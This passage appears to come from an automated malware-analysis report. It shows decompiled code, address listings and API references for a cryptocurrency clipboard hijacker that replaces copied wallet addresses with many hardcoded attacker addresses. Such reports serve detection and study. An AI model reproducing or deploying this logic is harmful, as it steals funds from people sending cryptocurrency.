														if(_v8 < 9 || _v8 > 0x3c) {
															return 0;
														} else {
															goto L102;
														}
													}
													if(_v8 < 0x3c || _v8 > 0x78) {
														return 0;
													} else {
														goto L102;
													}
												}
												if(_v8 < 0x2a || _v8 > 0x30) {
													return 0;
												} else {
													goto L102;
												}
											}
											if(_v8 < 0x32 || _v8 > 0x38) {
												return 0;
											} else {
												goto L102;
											}
										}
										if(_v8 < 0x28 || _v8 > 0x46) {
											return 0;
										} else {
											goto L102;
										}
									}
									if(_v8 < 0x3c || _v8 > 0x40) {
										return 0;
									} else {
										goto L102;
									}
								}
								if(_v8 < 0x18 || _v8 > 0x32) {
									return 0;
								} else {
									goto L102;
								}
							}
							if(_v8 < 0x1a || _v8 > 0x26) {
								return 0;
							} else {
								goto L102;
							}
						}
					}
				} else {
					if(_v8 != 0x2a) {
						return 0;
					}
					L102:
					if(StrStrW(_a4, L"bitcoincash:") != 0) {
						_v21 = 0;
					}
					if(StrStrW(_a4, L"ronin:") != 0) {
						_v21 = 0;
					}
					if(StrStrW(_a4, L"nano_") != 0) {
						_v21 = 0;
					}
					if((_v21 & 0x000000ff) != 1) {
						L121:
						if(( *_a4 & 0x0000ffff) == 0x30) {
							_v12 = "0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b";
						}
						if(( *_a4 & 0x0000ffff) == 0x54) {
							_v12 = "THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto";
						}
						if(( *_a4 & 0x0000ffff) == 0x31) {
							_v12 = "1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6";
						}
						if(( *_a4 & 0x0000ffff) == 0x71) {
							_v12 = "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut";
						}
						if(( *_a4 & 0x0000ffff) == 0x58) {
							_v12 = "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL";
						}
						if(( *_a4 & 0x0000ffff) == 0x4c) {
							_v12 = "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX";
						}
						if(( *_a4 & 0x0000ffff) == 0x72) {
							_v12 = "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH";
						}
						if(( *_a4 & 0x0000ffff) == 0x68) {
							_v12 = "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709";
						}
						if(( *_a4 & 0x0000ffff) == 0x51) {
							_v12 = "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU";
						}
						if(( *_a4 & 0x0000ffff) == 0x52) {
							_v12 = "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd";
						}
						if(( *_a4 & 0x0000ffff) == 0x4e) {
							_v12 = "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2";
						}
						if(( *_a4 & 0x0000ffff) == 0x41) {
							_v12 = "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x34) {
							_v12 = "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg";
						}
						if(( *_a4 & 0x0000ffff) == 0x38) {
							_v12 = "8AvX8Ds1eadajf81PtVvzVdiJSY28P86m3M79k89J26WQHf7oH5YGfrNAGeudz42JDfqgUpWiQfsbd2bhUEhQc4PQrnbss6";
						}
						if(( *_a4 & 0x0000ffff) == 0x61 && (_a4[1] & 0x0000ffff) != 0x64) {
							_v12 = "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x66 && (_a4[1] & 0x0000ffff) == 0x31) {
							_v12 = "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury";
						}
						if(( *_a4 & 0x0000ffff) == 0x6c && (_a4[1] & 0x0000ffff) == 0x73 && (_a4[2] & 0x0000ffff) == 0x6b) {
							_v12 = "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn";
						}
						if(( *_a4 & 0x0000ffff) == 0x7a && (_a4[1] & 0x0000ffff) == 0x69 && (_a4[2] & 0x0000ffff) == 0x6c) {
							_v12 = "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3";
						}
						if(( *_a4 & 0x0000ffff) == 0x65 && (_a4[1] & 0x0000ffff) == 0x72 && (_a4[2] & 0x0000ffff) == 0x64) {
							_v12 = "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw";
						}
						if(( *_a4 & 0x0000ffff) == 0x6b && (_a4[1] & 0x0000ffff) == 0x61 && (_a4[2] & 0x0000ffff) == 0x76 && (_a4[3] & 0x0000ffff) == 0x61) {
							_v12 = "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f";
						}
						if(( *_a4 & 0x0000ffff) == 0x6f && (_a4[1] & 0x0000ffff) == 0x73 && (_a4[2] & 0x0000ffff) == 0x6d && (_a4[3] & 0x0000ffff) == 0x6f) {
							_v12 = "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj";
						}
						if(( *_a4 & 0x0000ffff) == 0x33) {
							if((_a4[1] & 0x0000ffff) != 0x50) {
								_v12 = "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3";
							} else {
								_v12 = "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x44) {
							if(_v8 != 0x22) {
								if(_v8 == 0x23) {
									_v12 = "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v";
								}
							} else {
								_v12 = "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x74) {
							if((_a4[1] & 0x0000ffff) == 0x31 || (_a4[1] & 0x0000ffff) == 0x32) {
								_v12 = "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn";
							} else {
								if((_a4[1] & 0x0000ffff) != 0x65 || (_a4[2] & 0x0000ffff) != 0x72 || (_a4[3] & 0x0000ffff) != 0x72 || (_a4[4] & 0x0000ffff) != 0x61) {
									_v12 = "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7";
								} else {
									_v12 = "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6";
								}
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x62) {
							if(StrStrW(_a4, L"bnb") != 0) {
								_v12 = "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd";
							}
							if(StrStrW(_a4, L"band") != 0) {
								_v12 = "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr";
							}
							if(StrStrW(_a4, L"bc1") != 0) {
								_v12 = "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg";
							}
						}
						if(StrStrW(_a4, L"ronin:") != 0) {
							_v12 = "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17";
						}
						if(StrStrW(_a4, L"bitcoincash:") != 0) {
							_v12 = "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut";
						}
						if(StrStrW(_a4, L"cosmos") != 0) {
							_v12 = "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4";
						}
						if(StrStrW(_a4, L"addr") != 0) {
							_v12 = "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw";
						}
						if(StrStrW(_a4, L"nano_") != 0) {
							_v12 = "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4";
						}
						if(( *_a4 & 0x0000ffff) == 0x47) {
							if(_v8 != 9) {
								if(_v8 != 0x38) {
									_v12 = "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N";
								} else {
									_v12 = "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE";
								}
							} else {
								_v12 = "G35598989";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x45) {
							if(_v8 == 9) {
								_v12 = "E36963824";
							}
							if(_v8 == 0x30) {
								_v12 = "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x42) {
							_v12 = "B36461211";
						}
						if(( *_a4 & 0x0000ffff) == 0x55) {
							_v12 = "U33390790";
						}
						_v16 = lstrlenA(_v12);
						if(_v16 != 0) {
							_v28 = GlobalAlloc(0x2002, _v16 + 1);
							if(_v28 != 0) {
								_v20 = GlobalLock(_v28);
								if(_v20 != 0) {
									memcpy(_v20, _v12, _v16 + 1);
									GlobalUnlock(_v28);
									if(OpenClipboard(0) != 0) {
										EmptyClipboard();
										SetClipboardData(1, _v28);
										CloseClipboard();
									}
								}
							}
						}
						return 1;
					} else {
						_v32 = 0;
						while(_v32 < _v8) {
							if(( *_a4 & 0x0000ffff) != 0x31 || (_a4[_v32] & 0x0000ffff) != 0x4f && (_a4[_v32] & 0x0000ffff) != 0x49 && (_a4[_v32] & 0x0000ffff) != 0x6c) {
								_t321 = _a4[_v32] & 0x0000ffff;
								_push(_t321);
								L0040EBA8();
								_t531 = _t531 + 4;
								if(_t321 != 0) {
									L120:
									_v32 = _v32 + 1;
									continue;
								}
								_t324 = _a4[_v32] & 0x0000ffff;
								_push(_t324);
								L0040EBAE();
								_t531 = _t531 + 4;
								if(_t324 != 0) {
									goto L120;
								}
								return 0;
							} else {
								return 0;
							}
						}
						goto L121;
					}
				}
			}













                                                                                                                                                                                                                                                                                                                                                      0x00403486
                                                                                                                                                                                                                                                                                                                                                      0x0040348a
                                                                                                                                                                                                                                                                                                                                                      0x00403491
                                                                                                                                                                                                                                                                                                                                                      0x004034a2
                                                                                                                                                                                                                                                                                                                                                      0x004034ae
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040364a
                                                                                                                                                                                                                                                                                                                                                      0x0040365a
                                                                                                                                                                                                                                                                                                                                                      0x00403677
                                                                                                                                                                                                                                                                                                                                                      0x00403688
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403690
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040369c
                                                                                                                                                                                                                                                                                                                                                      0x004036a5
                                                                                                                                                                                                                                                                                                                                                      0x004036b6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004036b8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004036c4
                                                                                                                                                                                                                                                                                                                                                      0x004036cd
                                                                                                                                                                                                                                                                                                                                                      0x004036f0
                                                                                                                                                                                                                                                                                                                                                      0x00403713
                                                                                                                                                                                                                                                                                                                                                      0x00403736
                                                                                                                                                                                                                                                                                                                                                      0x00403761
                                                                                                                                                                                                                                                                                                                                                      0x0040378c
                                                                                                                                                                                                                                                                                                                                                      0x004037b7
                                                                                                                                                                                                                                                                                                                                                      0x004037da
                                                                                                                                                                                                                                                                                                                                                      0x004037fa
                                                                                                                                                                                                                                                                                                                                                      0x00403824
                                                                                                                                                                                                                                                                                                                                                      0x00403835
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040383e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403840
                                                                                                                                                                                                                                                                                                                                                      0x00403844
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403844
                                                                                                                                                                                                                                                                                                                                                      0x00403824
                                                                                                                                                                                                                                                                                                                                                      0x00403800
                                                                                                                                                                                                                                                                                                                                                      0x00403802
                                                                                                                                                                                                                                                                                                                                                      0x00403802
                                                                                                                                                                                                                                                                                                                                                      0x0040380a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403819
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403819
                                                                                                                                                                                                                                                                                                                                                      0x0040380a
                                                                                                                                                                                                                                                                                                                                                      0x004037e0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004037ef
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004037ef
                                                                                                                                                                                                                                                                                                                                                      0x004037e0
                                                                                                                                                                                                                                                                                                                                                      0x004037bd
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004037cc
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004037cc
                                                                                                                                                                                                                                                                                                                                                      0x004037bd
                                                                                                                                                                                                                                                                                                                                                      0x00403792
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004037a1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004037a1
                                                                                                                                                                                                                                                                                                                                                      0x00403792
                                                                                                                                                                                                                                                                                                                                                      0x00403767
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403776
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403776
                                                                                                                                                                                                                                                                                                                                                      0x00403767
                                                                                                                                                                                                                                                                                                                                                      0x0040373c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040374b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040374b
                                                                                                                                                                                                                                                                                                                                                      0x0040373c
                                                                                                                                                                                                                                                                                                                                                      0x00403719
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403728
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403728
                                                                                                                                                                                                                                                                                                                                                      0x00403719
                                                                                                                                                                                                                                                                                                                                                      0x004036f6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403705
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403705
                                                                                                                                                                                                                                                                                                                                                      0x004036f6
                                                                                                                                                                                                                                                                                                                                                      0x004036d3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004036e2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004036e2
                                                                                                                                                                                                                                                                                                                                                      0x004036d3
                                                                                                                                                                                                                                                                                                                                                      0x004036a5
                                                                                                                                                                                                                                                                                                                                                      0x0040365c
                                                                                                                                                                                                                                                                                                                                                      0x00403660
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00403662
                                                                                                                                                                                                                                                                                                                                                      0x00403853
                                                                                                                                                                                                                                                                                                                                                      0x00403864
                                                                                                                                                                                                                                                                                                                                                      0x00403866
                                                                                                                                                                                                                                                                                                                                                      0x00403866
                                                                                                                                                                                                                                                                                                                                                      0x0040387b
                                                                                                                                                                                                                                                                                                                                                      0x0040387d
                                                                                                                                                                                                                                                                                                                                                      0x0040387d
                                                                                                                                                                                                                                                                                                                                                      0x00403892
                                                                                                                                                                                                                                                                                                                                                      0x00403894
                                                                                                                                                                                                                                                                                                                                                      0x00403894
                                                                                                                                                                                                                                                                                                                                                      0x0040389f
                                                                                                                                                                                                                                                                                                                                                      0x00403938
                                                                                                                                                                                                                                                                                                                                                      0x00403941
                                                                                                                                                                                                                                                                                                                                                      0x00403943
                                                                                                                                                                                                                                                                                                                                                      0x00403943
                                                                                                                                                                                                                                                                                                                                                      0x00403953
                                                                                                                                                                                                                                                                                                                                                      0x00403955
                                                                                                                                                                                                                                                                                                                                                      0x00403955
                                                                                                                                                                                                                                                                                                                                                      0x00403965
                                                                                                                                                                                                                                                                                                                                                      0x00403967
                                                                                                                                                                                                                                                                                                                                                      0x00403967
                                                                                                                                                                                                                                                                                                                                                      0x00403977
                                                                                                                                                                                                                                                                                                                                                      0x00403979
                                                                                                                                                                                                                                                                                                                                                      0x00403979
                                                                                                                                                                                                                                                                                                                                                      0x00403989
                                                                                                                                                                                                                                                                                                                                                      0x0040398b
                                                                                                                                                                                                                                                                                                                                                      0x0040398b
                                                                                                                                                                                                                                                                                                                                                      0x0040399b
                                                                                                                                                                                                                                                                                                                                                      0x0040399d
                                                                                                                                                                                                                                                                                                                                                      0x0040399d
                                                                                                                                                                                                                                                                                                                                                      0x004039ad
                                                                                                                                                                                                                                                                                                                                                      0x004039af
                                                                                                                                                                                                                                                                                                                                                      0x004039af
                                                                                                                                                                                                                                                                                                                                                      0x004039bf
                                                                                                                                                                                                                                                                                                                                                      0x004039c1
                                                                                                                                                                                                                                                                                                                                                      0x004039c1
                                                                                                                                                                                                                                                                                                                                                      0x004039d1
                                                                                                                                                                                                                                                                                                                                                      0x004039d3
                                                                                                                                                                                                                                                                                                                                                      0x004039d3
                                                                                                                                                                                                                                                                                                                                                      0x004039e3
                                                                                                                                                                                                                                                                                                                                                      0x004039e5
                                                                                                                                                                                                                                                                                                                                                      0x004039e5
                                                                                                                                                                                                                                                                                                                                                      0x004039f5
                                                                                                                                                                                                                                                                                                                                                      0x004039f7
                                                                                                                                                                                                                                                                                                                                                      0x004039f7
                                                                                                                                                                                                                                                                                                                                                      0x00403a07
                                                                                                                                                                                                                                                                                                                                                      0x00403a09
                                                                                                                                                                                                                                                                                                                                                      0x00403a09
                                                                                                                                                                                                                                                                                                                                                      0x00403a19
                                                                                                                                                                                                                                                                                                                                                      0x00403a1b
                                                                                                                                                                                                                                                                                                                                                      0x00403a1b
                                                                                                                                                                                                                                                                                                                                                      0x00403a2b
                                                                                                                                                                                                                                                                                                                                                      0x00403a2d
                                                                                                                                                                                                                                                                                                                                                      0x00403a2d
                                                                                                                                                                                                                                                                                                                                                      0x00403a3d
                                                                                                                                                                                                                                                                                                                                                      0x00403a4b
                                                                                                                                                                                                                                                                                                                                                      0x00403a4b
                                                                                                                                                                                                                                                                                                                                                      0x00403a5b
                                                                                                                                                                                                                                                                                                                                                      0x00403a69
                                                                                                                                                                                                                                                                                                                                                      0x00403a69
                                                                                                                                                                                                                                                                                                                                                      0x00403a79
                                                                                                                                                                                                                                                                                                                                                      0x00403a93
                                                                                                                                                                                                                                                                                                                                                      0x00403a93
                                                                                                                                                                                                                                                                                                                                                      0x00403aa3
                                                                                                                                                                                                                                                                                                                                                      0x00403abd
                                                                                                                                                                                                                                                                                                                                                      0x00403abd
                                                                                                                                                                                                                                                                                                                                                      0x00403acd
                                                                                                                                                                                                                                                                                                                                                      0x00403ae7
                                                                                                                                                                                                                                                                                                                                                      0x00403ae7
                                                                                                                                                                                                                                                                                                                                                      0x00403af7
                                                                                                                                                                                                                                                                                                                                                      0x00403b1d
                                                                                                                                                                                                                                                                                                                                                      0x00403b1d
                                                                                                                                                                                                                                                                                                                                                      0x00403b2d
                                                                                                                                                                                                                                                                                                                                                      0x00403b53
                                                                                                                                                                                                                                                                                                                                                      0x00403b53
                                                                                                                                                                                                                                                                                                                                                      0x00403b63
                                                                                                                                                                                                                                                                                                                                                      0x00403b6f
                                                                                                                                                                                                                                                                                                                                                      0x00403b7a
                                                                                                                                                                                                                                                                                                                                                      0x00403b71
                                                                                                                                                                                                                                                                                                                                                      0x00403b71
                                                                                                                                                                                                                                                                                                                                                      0x00403b71
                                                                                                                                                                                                                                                                                                                                                      0x00403b6f
                                                                                                                                                                                                                                                                                                                                                      0x00403b8a
                                                                                                                                                                                                                                                                                                                                                      0x00403b90
                                                                                                                                                                                                                                                                                                                                                      0x00403b9f
                                                                                                                                                                                                                                                                                                                                                      0x00403ba1
                                                                                                                                                                                                                                                                                                                                                      0x00403ba1
                                                                                                                                                                                                                                                                                                                                                      0x00403b92
                                                                                                                                                                                                                                                                                                                                                      0x00403b92
                                                                                                                                                                                                                                                                                                                                                      0x00403b92
                                                                                                                                                                                                                                                                                                                                                      0x00403b90
                                                                                                                                                                                                                                                                                                                                                      0x00403bb1
                                                                                                                                                                                                                                                                                                                                                      0x00403bbd
                                                                                                                                                                                                                                                                                                                                                      0x00403bcb
                                                                                                                                                                                                                                                                                                                                                      0x00403bd4
                                                                                                                                                                                                                                                                                                                                                      0x00403bde
                                                                                                                                                                                                                                                                                                                                                      0x00403c0d
                                                                                                                                                                                                                                                                                                                                                      0x00403c04
                                                                                                                                                                                                                                                                                                                                                      0x00403c04
                                                                                                                                                                                                                                                                                                                                                      0x00403c04
                                                                                                                                                                                                                                                                                                                                                      0x00403bde
                                                                                                                                                                                                                                                                                                                                                      0x00403bbd
                                                                                                                                                                                                                                                                                                                                                      0x00403c1d
                                                                                                                                                                                                                                                                                                                                                      0x00403c30
                                                                                                                                                                                                                                                                                                                                                      0x00403c32
                                                                                                                                                                                                                                                                                                                                                      0x00403c32
                                                                                                                                                                                                                                                                                                                                                      0x00403c4a
                                                                                                                                                                                                                                                                                                                                                      0x00403c4c
                                                                                                                                                                                                                                                                                                                                                      0x00403c4c
                                                                                                                                                                                                                                                                                                                                                      0x00403c64
                                                                                                                                                                                                                                                                                                                                                      0x00403c66
                                                                                                                                                                                                                                                                                                                                                      0x00403c66
                                                                                                                                                                                                                                                                                                                                                      0x00403c64
                                                                                                                                                                                                                                                                                                                                                      0x00403c7e
                                                                                                                                                                                                                                                                                                                                                      0x00403c80
                                                                                                                                                                                                                                                                                                                                                      0x00403c80
                                                                                                                                                                                                                                                                                                                                                      0x00403c98
                                                                                                                                                                                                                                                                                                                                                      0x00403c9a
                                                                                                                                                                                                                                                                                                                                                      0x00403c9a
                                                                                                                                                                                                                                                                                                                                                      0x00403cb2
                                                                                                                                                                                                                                                                                                                                                      0x00403cb4
                                                                                                                                                                                                                                                                                                                                                      0x00403cb4
                                                                                                                                                                                                                                                                                                                                                      0x00403ccc
                                                                                                                                                                                                                                                                                                                                                      0x00403cce
                                                                                                                                                                                                                                                                                                                                                      0x00403cce
                                                                                                                                                                                                                                                                                                                                                      0x00403ce6
                                                                                                                                                                                                                                                                                                                                                      0x00403ce8
                                                                                                                                                                                                                                                                                                                                                      0x00403ce8
                                                                                                                                                                                                                                                                                                                                                      0x00403cf8
                                                                                                                                                                                                                                                                                                                                                      0x00403cfe
                                                                                                                                                                                                                                                                                                                                                      0x00403d0d
                                                                                                                                                                                                                                                                                                                                                      0x00403d18
                                                                                                                                                                                                                                                                                                                                                      0x00403d0f
                                                                                                                                                                                                                                                                                                                                                      0x00403d0f
                                                                                                                                                                                                                                                                                                                                                      0x00403d0f
                                                                                                                                                                                                                                                                                                                                                      0x00403d00
                                                                                                                                                                                                                                                                                                                                                      0x00403d00
                                                                                                                                                                                                                                                                                                                                                      0x00403d00
                                                                                                                                                                                                                                                                                                                                                      0x00403cfe
                                                                                                                                                                                                                                                                                                                                                      0x00403d28
                                                                                                                                                                                                                                                                                                                                                      0x00403d2e
                                                                                                                                                                                                                                                                                                                                                      0x00403d30
                                                                                                                                                                                                                                                                                                                                                      0x00403d30
                                                                                                                                                                                                                                                                                                                                                      0x00403d3b
                                                                                                                                                                                                                                                                                                                                                      0x00403d3d
                                                                                                                                                                                                                                                                                                                                                      0x00403d3d
                                                                                                                                                                                                                                                                                                                                                      0x00403d3b
                                                                                                                                                                                                                                                                                                                                                      0x00403d4d
                                                                                                                                                                                                                                                                                                                                                      0x00403d4f
                                                                                                                                                                                                                                                                                                                                                      0x00403d4f
                                                                                                                                                                                                                                                                                                                                                      0x00403d5f
                                                                                                                                                                                                                                                                                                                                                      0x00403d61
                                                                                                                                                                                                                                                                                                                                                      0x00403d61
                                                                                                                                                                                                                                                                                                                                                      0x00403d72
                                                                                                                                                                                                                                                                                                                                                      0x00403d79
                                                                                                                                                                                                                                                                                                                                                      0x00403d8d
                                                                                                                                                                                                                                                                                                                                                      0x00403d94
                                                                                                                                                                                                                                                                                                                                                      0x00403da0
                                                                                                                                                                                                                                                                                                                                                      0x00403da7
                                                                                                                                                                                                                                                                                                                                                      0x00403db8
                                                                                                                                                                                                                                                                                                                                                      0x00403dc4
                                                                                                                                                                                                                                                                                                                                                      0x00403dd4
                                                                                                                                                                                                                                                                                                                                                      0x00403dd6
                                                                                                                                                                                                                                                                                                                                                      0x00403de2
                                                                                                                                                                                                                                                                                                                                                      0x00403de8
                                                                                                                                                                                                                                                                                                                                                      0x00403de8
                                                                                                                                                                                                                                                                                                                                                      0x00403dd4
                                                                                                                                                                                                                                                                                                                                                      0x00403da7
                                                                                                                                                                                                                                                                                                                                                      0x00403d94
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004038a5
                                                                                                                                                                                                                                                                                                                                                      0x004038a5
                                                                                                                                                                                                                                                                                                                                                      0x004038b7
                                                                                                                                                                                                                                                                                                                                                      0x004038c8
                                                                                                                                                                                                                                                                                                                                                      0x00403904
                                                                                                                                                                                                                                                                                                                                                      0x00403908
                                                                                                                                                                                                                                                                                                                                                      0x00403909
                                                                                                                                                                                                                                                                                                                                                      0x0040390e
                                                                                                                                                                                                                                                                                                                                                      0x00403913
                                                                                                                                                                                                                                                                                                                                                      0x00403933
                                                                                                                                                                                                                                                                                                                                                      0x004038b4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004038b4
                                                                                                                                                                                                                                                                                                                                                      0x0040391b
                                                                                                                                                                                                                                                                                                                                                      0x0040391f
                                                                                                                                                                                                                                                                                                                                                      0x00403920
                                                                                                                                                                                                                                                                                                                                                      0x00403925
                                                                                                                                                                                                                                                                                                                                                      0x0040392a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004038f7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004038f7
                                                                                                                                                                                                                                                                                                                                                      0x004038c8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004038b7
                                                                                                                                                                                                                                                                                                                                                      0x0040389f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrlenW.KERNEL32(00000000), ref: 0040349C
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00403759
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,cosmos), ref: 00403784
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,addr), ref: 004037AF
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 0040385C
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,ronin:), ref: 00403873
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,nano_), ref: 0040388A
                                                                                                                                                                                                                                                                                                                                                      • isalpha.NTDLL ref: 00403909
                                                                                                                                                                                                                                                                                                                                                      • isdigit.NTDLL ref: 00403920
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,bnb), ref: 00403C28
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,band), ref: 00403C42
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,bc1), ref: 00403C5C
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,ronin:), ref: 00403C76
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00403C90
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,cosmos), ref: 00403CAA
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,addr), ref: 00403CC4
                                                                                                                                                                                                                                                                                                                                                      • StrStrW.SHLWAPI(00000000,nano_), ref: 00403CDE
                                                                                                                                                                                                                                                                                                                                                      • lstrlenA.KERNEL32(00000000), ref: 00403D6C
                                                                                                                                                                                                                                                                                                                                                      • GlobalAlloc.KERNEL32(00002002,-00000001), ref: 00403D87
                                                                                                                                                                                                                                                                                                                                                      • GlobalLock.KERNEL32 ref: 00403D9A
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000000,00000000,-00000001), ref: 00403DB8
                                                                                                                                                                                                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 00403DC4
                                                                                                                                                                                                                                                                                                                                                      • OpenClipboard.USER32(00000000), ref: 00403DCC
                                                                                                                                                                                                                                                                                                                                                      • EmptyClipboard.USER32 ref: 00403DD6
                                                                                                                                                                                                                                                                                                                                                      • SetClipboardData.USER32 ref: 00403DE2
                                                                                                                                                                                                                                                                                                                                                      • CloseClipboard.USER32 ref: 00403DE8
                                                                                                                                                                                                                                                                                                                                                      Strings
